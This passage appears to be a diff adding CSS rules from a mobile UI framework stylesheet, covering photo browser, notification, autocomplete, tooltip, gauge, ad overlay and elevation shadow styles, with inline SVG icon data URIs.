.swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-black, +.ios .swiper-container-rtl .swiper-button-prev.color-black, +.ios .color-theme-black .swiper-button-next, +.ios .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-black .swiper-pagination-bullet-active, +.ios .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.ios .color-black .swiper-pagination-progressbar, +.ios .color-theme-black .swiper-pagination-progressbar, +.ios .color-black.swiper-pagination-progressbar, +.ios .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.ios .toolbar ~ .photo-browser-captions { + bottom: 44px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.ios .view.with-photo-browser-page-exposed .navbar { + opacity: 0; +} +.ios .photo-browser-page .navbar, +.ios .view.with-photo-browser-page .navbar, +.ios .photo-browser-page .toolbar, +.ios .view.with-photo-browser-page .toolbar { + background: rgba(247, 247, 248, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.ios .photo-browser-dark .navbar, +.ios .photo-browser-page-dark .navbar, +.ios .view.with-photo-browser-page-dark .navbar, +.ios .photo-browser-dark .toolbar, +.ios .photo-browser-page-dark .toolbar, +.ios .view.with-photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8); + color: #fff; +} +.ios .photo-browser-dark .navbar:before, +.ios .photo-browser-page-dark .navbar:before, +.ios .view.with-photo-browser-page-dark .navbar:before, +.ios .photo-browser-dark .toolbar:before, +.ios .photo-browser-page-dark .toolbar:before, +.ios .view.with-photo-browser-page-dark .toolbar:before { + display: none !important; +} +.ios .photo-browser-dark .navbar:after, +.ios .photo-browser-page-dark .navbar:after, +.ios .view.with-photo-browser-page-dark .navbar:after, +.ios .photo-browser-dark .toolbar:after, +.ios .photo-browser-page-dark .toolbar:after, +.ios .view.with-photo-browser-page-dark .toolbar:after { + display: none !important; +} +.ios .photo-browser-dark .navbar a, +.ios .photo-browser-page-dark .navbar a, +.ios .view.with-photo-browser-page-dark .navbar a, +.ios .photo-browser-dark .toolbar a, +.ios .photo-browser-page-dark .toolbar a, +.ios .view.with-photo-browser-page-dark .toolbar a { + color: #fff; +} +.ios.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.ios .notification { + left: 8px; + top: 8px; + width: calc(100% - 16px); + background: rgba(250, 250, 250, 0.95); + border-radius: 12px; + -webkit-box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + padding: 10px; + color: #000; + max-width: 568px; + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .notification { + background: rgba(255, 255, 255, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +@media (min-width: 584px) { + .ios .notification { + left: 50%; + width: 568px; + margin-left: -284px; + } +} +.ios .notification.modal-in { + -webkit-transform: translate3d(0%, 0%, 0); + transform: translate3d(0%, 0%, 0); + opacity: 1; +} +.ios .notification.modal-out { + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +.ios .notification-icon { + width: 20px; + height: 20px; + line-height: 20px; + margin-right: 8px; +} +.ios .notification-icon i { + width: 20px; + height: 20px; + font-size: 20px; +} +.ios .notification-title { + font-size: 13px; + text-transform: uppercase; + letter-spacing: 0.02em; +} +.ios .notification-subtitle { + font-size: 15px; + font-weight: 600; + line-height: 1.35; +} +.ios .notification-text { + font-size: 15px; + line-height: 1.2; +} +.ios .notification-header + .notification-content { + margin-top: 10px; +} +.ios .notification-title-right-text { + color: #444a51; + font-size: 13px; + margin-right: 6px; + margin-left: auto; +} +.ios .notification-title-right-text + .notification-close-button { + margin-left: 10px; +} +.ios .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + width: 20px; + height: 20px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + opacity: 0.3; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .notification-close-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.1; +} +.ios .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + right: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-right: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.ios .autocomplete-dropdown { + -webkit-box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); + box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); +} +.ios .autocomplete-dropdown .autocomplete-preloader { + left: 15px; + margin-bottom: 12px; +} +.ios .autocomplete-dropdown .list b { + font-weight: 600; +} +.ios .searchbar-input-wrap .autocomplete-dropdown { + margin-top: -32px; + top: 100%; + background: #e8e8ea; + z-index: 20; + border-radius: 8px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-right: 28px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner { + padding-top: 32px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +.ios .theme-dark .autocomplete-dropdown { + background-color: #1c1c1d; +} +.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown { + background-color: #171717; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 